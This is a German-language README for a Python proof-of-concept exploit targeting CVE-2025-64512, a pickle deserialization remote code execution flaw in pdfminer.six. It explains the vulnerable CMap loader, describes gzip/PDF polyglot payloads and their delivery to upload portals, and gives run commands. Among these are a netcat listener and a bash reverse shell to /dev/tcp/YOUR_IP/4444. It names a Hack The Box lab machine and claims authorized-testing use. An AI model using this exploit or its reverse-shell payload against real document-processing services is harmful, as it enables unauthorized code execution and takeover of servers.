
Python-PoC für CVE-2025-64512, eine pdfminer.six-Pickle-Deserialisierungs-RCE. Generiert gzip-komprimierte Pickle-Payloads und Polyglot-PDFs und liefert diese dann an Upload-Portale für autorisierte Tests.
Python 3, nur Standardbibliothek (keine pip-Installationen). Nur für autorisierte Sicherheitstests und CTF-Nutzung — Sie sind dafür verantwortlich, die Gesetze und die Regeln Ihres Auftrags einzuhalten.
| CVE | CVE-2025-64512 |
| Betroffen | pdfminer.six < 20251107 (behoben in 20251107 — CMaps wurden zu JSON) |
| Downstream-Opfer | markitdown < 0.1.4, pdfplumber < 0.11.8 |
| Typ | CWE-502 Deserialisierung nicht vertrauenswürdiger Daten → unauthentifizierte RCE |
| Referenz-PoC | luigigubello/CVE-2025-64512-Polyglot-PoC (Single-File-Polyglot-Variante) |
Getestetes Ziel: https://app.hackthebox.com/machines/Bedside
pdfminer.six ist eine beliebte Python-Bibliothek zum Extrahieren von Text aus PDFs. PDF-Schriftarten
benötigen CMaps — Tabellen, die Zeichencodes in Unicode übersetzen — und pdfminer
liefert sie als gzippte Pickles (<name>.pickle.gz) innerhalb seines eigenen Pakets mit.
Sehen Sie sich an, wie ein CMap geladen wird (pdfminer/cmapdb.py, alle Versionen vor 20251107):
@classmethod
def _load_data(cls, name: str) -> Any:
name = name.replace("\0", "") # die EINZIGE Bereinigung
filename = "%s.pickle.gz" % name # ← Angreifer kontrolliert `name`
cmap_paths = (
os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
os.path.join(os.path.dirname(__file__), "cmap"),
)
for directory in cmap_paths:
path = os.path.join(directory, filename) # ← absoluter Name ignoriert das Verzeichnis!
if os.path.exists(path):
with gzip.open(path) as gzfile:
return type(str(name), (), pickle.loads(gzfile.read())) # ← 💥
Drei Fehler summieren sich:
name stammt aus dem PDF selbst. Der /Encoding-Eintrag einer Type0-(CID-)Schriftart ist
ein PDF-Name, und der Angreifer kontrolliert ihn vollständig. PDF-Namen können kein rohes
/ enthalten, daher wird es mit RFC-Standard-Hex-Escapes geschrieben: der Name
/#2f#76#61#72#2f… dekodiert zu /var/….os.path.join-Eigenheit. Wenn das zweite Argument absolut ist, wird das erste
vollständig ignoriert. Ein Name wie /var/www/site/uploads/shell lässt pdfminer also
nach /var/www/site/uploads/shell.pickle.gz suchen — jeden Pfad auf der Festplatte — statt in seinem
eigenen CMap-Verzeichnis.pickle.loads() auf den Dateiinhalt. Ein Pickle kann Anweisungen wie „baue mich neu, indem
diese Funktion aufgerufen wird" (__reduce__) enthalten. Das Deserialisieren von Angreifer-Bytes
= Ausführen von Angreifer-Code, innerhalb des Prozesses, der pdfminer aufgerufen hat.Exploit-Voraussetzungen — der Bug ist trivial ausnutzbar in jeder Anwendung, die Ihnen beide Hälften der Gleichung liefert:
{"__reduce__": eval("__import__('os').system('<your command>')")}./Encoding den absoluten Pfad Ihres Pickles benennt.--mode two (Standard) — lädt <name>.pickle.gz hoch, dann <name>.pdf.
Verwenden Sie dies, wenn das Ziel nur Dateien mit PDF-Endung parst
(z. B. ein Watcher, der uploads/*.pdf globbt).--mode polyglot — lädt eine Datei <name>.pickle.gz hoch, die sowohl
ein gültiges gzip-Pickle als auch ein gültiges PDF ist: das gesamte PDF versteckt sich im
FCOMMENT-Feld des gzip-Headers (RFC 1952 erlaubt Kommentare; die %PDF--Signatur sitzt
bei Byte 10, und die xref-Offsets sind vorab verschoben, damit die Tabelle gültig bleibt).
Verwenden Sie dies, wenn das Ziel jede hochgeladene Datei unabhängig von der
Endung als PDF parst (Konverter im markitdown-Stil).--verify), wartet den Verarbeitungszyklus
des Ziels ab (--wait) und kann ein Callback-Oracle (--callback) voranstellen,
das nach Hause telefoniert, bevor Ihr Befehl ausgeführt wird — so können Sie die Ausführung beweisen, selbst wenn
Ihr Hauptkanal fehlschlägt.Nichts zu installieren — Python 3.10+ (verwendet str | None-Syntax):
chmod +x cve_2025_64512.py
Generieren Sie Beispiel-Payloads und führen Sie sie (falls ein verwundbares pdfminer importierbar ist) in Ihrem eigenen Python aus, um zu beweisen, dass die Kette funktioniert, bevor Sie ein Ziel anfassen:
# point the selftest at a vulnerable pdfminer checkout/wheel (any < 20251107)
export PDFMINER_PATH=/path/to/pdfminer_package_dir
python3 cve_2025_64512.py --selftest
Die erwartete Ausgabe endet mit SELFTEST PASS sowohl für den Zwei-Datei-Trigger als auch für den
Polyglot. Sie können auch manuell testen:
python3 cve_2025_64512.py --no-upload --path /tmp --name demo --command 'id > /tmp/pwned'
cp demo.pickle.gz demo-trigger.pdf /tmp/ # place as /tmp/demo.pickle.gz
pdf2txt.py /tmp/demo-trigger.pdf # vulnerable pdfminer only
cat /tmp/pwned # → your uid
# 1. start a listener for your command's callback channel
nc -lvnp 4444
# 2. run the exploit — let it discover the upload directory itself
python3 cve_2025_64512.py \
--url http://research.target.htb/ \
--leak-path \
--verify /uploads \
--wait 35 \
--command "bash -c 'exec bash -i &>/dev/tcp/YOUR_IP/4444 <&1'"
Vollständige Argumentreferenz: